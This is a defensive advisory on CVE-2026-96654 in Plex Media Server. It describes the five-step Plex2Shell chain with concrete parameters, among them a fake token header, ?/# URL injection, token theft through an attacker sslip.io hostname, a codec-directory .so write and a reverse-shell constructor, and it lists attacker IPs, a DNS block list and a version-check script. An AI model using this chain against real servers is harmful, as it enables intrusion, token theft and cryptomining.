The vendor stamped a MEDIUM sticker on the one rivet holding shut the door to unauthenticated remote code execution
CVE-2026-96654 is an improper URL neutralization flaw in the searchOne agent endpoint of Plex Media Server before 1.43.3.10861. The identifier parameter is spliced directly into an internal URL without encoding — a ? opens a query string, # truncates the path — letting an attacker forge requests to *any* plugin function on the loopback interface with arbitrary parameters. On its own, the bug requires loopback-origin access and yields plugin-function invocation (CWE-84, CVSS 6.5). All versions prior to 1.43.3.10861 are affected; Plex silently patched this in the 1.43.3 branch and began notifying users on September 1, 2026.
The vendor's MEDIUM 6.5 is defensible only if you evaluate this CVE in a vacuum. In reality, CVE-2026-96654 is Step 2 of the Plex2Shell chain (CVE-2026-96652 → -96654 → -96655 → -96656), a four-link unauthenticated RCE sequence with a combined CVSS 3.1 of 10.0. Researcher Zach Main published a weaponized PoC on October 16, 2026; honeypots recorded exploitation within 24 hours. Shodan shows ~586K internet-facing Plex instances, with over 36K confirmed unpatched as of September. Attackers are dropping XMRig miners and residential-proxy tools. Scoring this CVE at 6.5 while it's the authentication-bypass pivot that unlocks code execution on tens of thousands of reachable hosts is a textbook example of CVSS failing to capture chain context.
5 steps from start to impact.
Unauthenticated SSRF via Companion Protocol
/player/timeline with X-Plex-Token: junk — the endpoint checks for *existence* of the header, not validity. The protocol parameter is injected with a loopback URL (e.g., http://127.0.0.1:32400/system/agents/...). When the subscription fires the unsubscribe callback, PMS issues a blind POST from its own socket to the attacker-controlled URL. This is CVE-2026-96652.- Network reachability to port 32400
- Plex Media Server < 1.43.3.10861
- Port 32400 must be internet-facing or attacker must be on the same network
- Plex relay mode does NOT expose the raw port — only direct Remote Access does
product:Plex on port 32400 identifies exposed instances. The /identity endpoint leaks machineIdentifier and version without auth, enabling pre-attack version fingerprinting.Loopback Pivot — Dead Auth Guard + searchOne Injection (THIS CVE)
/system/agents/*, which trusts loopback-origin requests unconditionally. The searchOne endpoint has a broken @lock decorator — it wraps validation logic but discards the return value when the identifier isn't recognized, so execution continues unauthenticated. The identifier parameter is spliced unsanitized into an internal URL: http://127.0.0.1:32400/:/plugins/%s/messaging/%s. Injecting ? opens a query string and # truncates the path, letting the attacker call any plugin function with arbitrary parameters. This is CVE-2026-96654.- Step 1 SSRF delivers the loopback POST
- Agent API trusts loopback origin (default behavior)
- If loopback trust were enforced with token validation, this step would fail
- Requires the specific Python framework quirk in the @lock decorator
/system/agents requests with unusual identifier values containing ? or # characters would flag this step.Admin Token Theft via sslip.io DNS Rebinding
GetResultFromNetwork in the bundled TheTVDB agent plugin. This function fetches arbitrary URLs. The Plex plugin framework auto-attaches the owner's admin X-Plex-Token to any outbound request whose URL starts with http://127.0.0.1. The attacker crafts http://127.0.0.1.<attacker-ip>.sslip.io — passes the prefix check but resolves to attacker infrastructure. The server sends its owner token to the attacker's listener. With this token, all admin endpoints (/:/prefs, /accounts) respond 200.- Step 2 plugin injection succeeds
- DNS resolution of sslip.io domains is not blocked
- Outbound HTTP from Plex server is permitted
- Enterprises with DNS sinkholing or split-horizon DNS may block sslip.io resolution
- Egress filtering blocking outbound HTTP from media servers would break this
*.sslip.io from Plex server hosts. Network IDS rules for X-Plex-Token header in outbound traffic to non-Plex destinations.Malicious Codec Write via Transcoder Preference Abuse
TranscoderH264Options to dump-yuv=<codec_dir>/x.so:qp=0 via PUT /:/prefs. They host a carrier video — an ELF shared object padded to fill a video frame, encoded as lossless H.264 — and trigger a transcode via /video/:/transcode/universal?path=http://attacker/item.xml. The server fetches the carrier, decodes it, and x264's dump-yuv option writes the decoded bytes (bit-exact due to qp=0) to the codec directory as a .so file. This combines CVE-2026-96655 (transcoder SSRF + file write).- Valid admin token from Step 3
- Transcoder binary present and functional
- Codec directory is writable by the Plex service user
- Read-only filesystem or immutable container images would block the file write
- AppArmor/SELinux profiles restricting Plex write paths could prevent codec dir writes
Plex Transcoder spawning with unusual TranscoderH264Options values.Code Execution via Unsigned Codec dlopen
avpriv_load_new_libs in the bundled libavutil.so.58 enumerates the codec set-directory and calls dlopen(RTLD_NOW) on every .so file. No signature verification, no allowlisting. The attacker's .so contains only a DT_INIT_ARRAY constructor — it executes on load before symbol resolution. The constructor forks and execs a reverse shell (or drops a miner/proxy). Code runs as uid=1000(plex) — the Plex service user. This is CVE-2026-96656.- Malicious .so written to codec dir in Step 4
- A second transcode job is triggered (attacker controls this)
- If Plex runs as a dedicated low-privilege user in a hardened container, blast radius is contained
- seccomp profiles blocking
dlopenorexecvewould prevent execution
dlopen of unsigned .so files from the Codecs directory. Process tree anomalies: Plex Transcoder spawning shells, miners, or network tools.curl -s http://localhost:32400/identity | grep version. Deploy within 30 days per the noisgate remediation SLA for HIGH, but given active exploitation, treat this as an emergency patch — deploy within hours to days.*.sslip.io, *.nip.io, *.xip.io, and similar wildcard DNS services on your internal resolver breaks the token-theft step. This doesn't fix the underlying vulnerabilities but disrupts the specific published chain. Deploy within 3 days..so to the Codecs directory. Restricting the Plex service user's write paths via mandatory access control (SELinux plex_t domain, AppArmor profile limiting writes to media directories only) prevents the file-write primitive. On Docker, use read-only root filesystem (--read-only) with explicit tmpfs mounts for required writable paths. Deploy within 30 days.45.194.92.222, 91.92.40.202, 176.65.139.228, 217.60.194.116. Monitor for DNS queries to proxystream.st and process names myawesomeproxy, mylovelyminer, x12345. This is a stopgap — attacker infrastructure rotates — but buys time. Deploy immediately.- Plex authentication tokens (X-Plex-Token) — the chain's first step bypasses token validation entirely; the
/player/timelineendpoint only checks for header *existence*, not validity. Having strong tokens does not help. - Reverse proxy with authentication in front of Plex — while this blocks direct access to port 32400, most Plex reverse-proxy guides pass through the
/player/timelineand/system/agentspaths unmodified. Unless the proxy explicitly blocks these endpoints, the chain still works. - Plex's built-in 'Require authentication for local network access' setting — the chain exploits loopback trust in the agent API, which is separate from Plex's user-facing authentication settings. This toggle does not affect loopback-origin request handling.
- Network-level rate limiting — the exploit requires only a handful of HTTP requests (5-6 total across the chain). Rate limiting will not prevent exploitation.
The supporting signals.
| In-the-Wild Exploitation | Confirmed active. Honeypot exploitation observed October 17, 2026 — within 24 hours of PoC release. Payloads include XMRig cryptominer and myawesomeproxy residential-proxy tool. Attacker IPs: 45.194.92.222, 91.92.40.202, 176.65.139.228. Payload source: 217.60.194.116. |
|---|---|
| Proof-of-Concept | Public weaponized exploit. code-zm/plex2shell released October 16, 2026 by researcher Zach Main (zmain). Full four-CVE chain with automated exploitation. Requires Python 3.8+, ffmpeg, gcc. |
| EPSS | 0.00227 (0.227%), 12th percentile — misleadingly low given confirmed active exploitation. EPSS lags real-world activity here. |
| CISA KEV | Not listed as of October 19, 2026. Given active exploitation, KEV inclusion is likely imminent. Plex is not a federal-agency staple, which may delay listing. |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N — vendor scores *this CVE alone* at 6.5. The chained score (all four CVEs) is 10.0. The AV:N/PR:N/UI:N triplet correctly reflects that the full chain is unauthenticated and network-reachable. |
| Affected Versions | All Plex Media Server versions before 1.43.3.10861 across all platforms (Linux, Windows, macOS, Docker, Synology, QNAP, FreeBSD). The underlying vulnerable code is in the Python plugin framework and bundled FFmpeg/x264 transcoder. |
| Fixed Version | 1.43.3.10861 (released ~September 1, 2026). Plex issued direct email notifications to affected users. No distro backports exist — Plex distributes its own binaries. |
| Internet Exposure | Shodan: ~586,217 internet-facing Plex instances (port 32400). ~36,000+ confirmed unpatched as of September 2026 scanning data. The /identity endpoint leaks version info without authentication, enabling mass triage by attackers. |
| Disclosure Timeline | Disclosed 2026-09-23 (NVD). Plex began notifying users September 1, 2026. PoC dropped October 16. Exploitation observed October 17. 46-day window between notification and weaponization. |
| Researcher | Zach Main (@code-zm, zmain.info). Notably used LLM-assisted iterative analysis for vulnerability discovery and chain construction. |
Sources.
- Plex2Shell — Full Technical Writeup by Zach Main
- GitHub PoC: code-zm/plex2shell
- SecurityOnline: Plex2Shell Exploited in the Wild
- CordCutterNews: Plex Exploitation Advisory
- GitHub Advisory: GHSA-3j7c-jr86-m5jq
- SentinelOne Vulnerability Database: CVE-2026-96654
- Vulners / Rapid7: CVE-2026-96654
- OpenCVE: CVE-2026-96654
Why this verdict
- Chain amplification is the dominant factor. CVE-2026-96654 alone is a loopback-only plugin injection (MEDIUM). But it is the *authentication-bypass pivot* in the Plex2Shell chain — without it, Steps 3-5 are unreachable. Evaluating it in isolation is like rating a detonator separately from the warhead. The chain it enables yields unauthenticated RCE (CVSS 10.0), and patching *this CVE alone* breaks the entire chain. Upgrade pressure: +2.0.
- Active exploitation with commodity tooling. Weaponized PoC dropped October 16; honeypot compromise October 17. Attackers are running automated scans against 586K exposed instances. This is not theoretical — it is happening right now against your infrastructure if you run Plex. Upgrade pressure: +1.0.
- Attack surface is massive and trivially enumerable. ~586K internet-facing Plex servers, ~36K confirmed unpatched. The
/identityendpoint leaks exact version strings without authentication, so attackers can spray the exploit only at vulnerable targets. No guessing required. Upgrade pressure: +0.5. - Friction is low for internet-facing deployments. The chain requires zero authentication, zero user interaction, and works against default configurations. The only prerequisite is network reachability to port 32400, which Plex's own Remote Access feature encourages users to enable. Many home and small-business Plex admins have UPnP or manual port forwards active.
- Role multiplier: Plex Media Server occupies low-to-typical enterprise roles. (a) *Low-value*: home media servers, dev machines — this is the vast majority of installs. Chain succeeds; blast radius is host-level (cryptominer, proxy abuse). (b) *Typical*: department media servers, digital signage hosts, NAS appliances on corporate networks — chain succeeds; blast radius is host + potential lateral movement pivot if the host has internal network access. (c) *High-value*: Plex is NOT canonically deployed as an IdP, DC, hypervisor, CI/CD, backup, or network-edge component. However, ~5-10% of installs may sit on Docker hosts or NAS devices that also host other services (file shares, databases). Compromise of these shared hosts could provide pivot access. This does not meet the ≥1% high-value-role threshold for a CRITICAL floor, but it reinforces HIGH.
- Not CRITICAL because Plex is not a high-value-role component. Code execution is as
uid=1000(plex), not root. The blast radius is host-level, not domain/fleet/supply-chain. Plex doesn't hold AD credentials, signing keys, or regulated data. The floor for CRITICAL requires the affected component to canonically occupy a high-value role (≥10% of installs), which Plex does not.
Why not higher?
The CRITICAL verdict requires that the affected component canonically occupies a high-value enterprise role where compromise yields domain takeover, fleet compromise, or supply-chain impact. Plex Media Server is a media streaming application — it does not manage identities, certificates, backups, hypervisors, or network perimeters. Code execution runs as a service user (not root), and the blast radius is confined to the host unless the attacker chains additional post-exploitation. While the exploitation is active and the chain is severe, the *impact ceiling* on most Plex deployments is cryptomining and proxy abuse, not organizational compromise.
Why not lower?
Active exploitation is confirmed and ongoing — this alone prevents any downgrade below HIGH. The chain is fully automated, requires zero authentication, and targets a surface of ~586K internet-facing hosts with ~36K confirmed vulnerable. The PoC-to-exploitation window was under 24 hours. Downgrading to MEDIUM would ignore that this CVE is the specific bypass that unlocks the entire RCE chain, and that attackers are actively leveraging it against real infrastructure right now. Every unpatched internet-facing Plex server is a live target.
Crowdsourced verification payload.
Run this script on each host running Plex Media Server (Linux, macOS, Docker). It queries the local Plex /identity endpoint to extract the running version and compares it against the fixed version. Requires curl and network access to localhost:32400. No elevated privileges needed. Example: chmod +x check_plex.sh && ./check_plex.sh or for Docker: docker exec <plex_container> bash -c "$(cat check_plex.sh)"
#!/usr/bin/env bash
# check_plex_cve_2026_96654.sh
# Checks whether the local Plex Media Server is vulnerable to
# CVE-2026-96654 (Plex2Shell chain, searchOne URL injection).
# Fixed in: 1.43.3.10861
# Exit codes: 1=VULNERABLE, 0=PATCHED, 2=UNKNOWN
set -euo pipefail
FIXED_VERSION="1.43.3.10861"
PLEX_URL="${PLEX_URL:-http://127.0.0.1:32400/identity}"
# Attempt to query the Plex identity endpoint
if ! RESPONSE=$(curl -sf --max-time 5 "$PLEX_URL" 2>/dev/null); then
echo "UNKNOWN - Could not reach Plex at $PLEX_URL"
echo " Ensure Plex Media Server is running and accessible on localhost:32400"
exit 2
fi
# Extract version from XML response
# Expected format: <MediaContainer ... version="1.43.3.10861" ...>
VERSION=$(echo "$RESPONSE" | grep -oP 'version="\K[^"]+' 2>/dev/null)
if [ -z "$VERSION" ]; then
# Try alternate extraction for systems without -P flag
VERSION=$(echo "$RESPONSE" | sed -n 's/.*version="\([^"]*\)".*/\1/p')
fi
if [ -z "$VERSION" ]; then
echo "UNKNOWN - Could not parse Plex version from response"
exit 2
fi
echo "Detected Plex Media Server version: $VERSION"
echo "Fixed version: $FIXED_VERSION"
# Version comparison function
# Returns 0 if $1 >= $2, 1 otherwise
version_gte() {
local IFS='.'
local i
local -a v1=($1) v2=($2)
for ((i=0; i<${#v2[@]}; i++)); do
local a=${v1[i]:-0}
local b=${v2[i]:-0}
if (( a > b )); then return 0; fi
if (( a < b )); then return 1; fi
done
return 0
}
if version_gte "$VERSION" "$FIXED_VERSION"; then
echo "PATCHED - Plex $VERSION >= $FIXED_VERSION"
echo " CVE-2026-96654 (Plex2Shell chain) is remediated."
exit 0
else
echo "VULNERABLE - Plex $VERSION < $FIXED_VERSION"
echo " CVE-2026-96654 is exploitable. This host is part of the Plex2Shell"
echo " unauthenticated RCE chain (CVE-2026-96652/96654/96655/96656)."
echo " Active exploitation observed in the wild since October 17, 2026."
echo " ACTION: Update to $FIXED_VERSION+ immediately and check for IOCs:"
echo " - Unexpected .so files in Plex Codecs directory"
echo " - Processes: myawesomeproxy, mylovelyminer, xmrig"
echo " - Outbound connections to proxystream.st"
exit 1
fi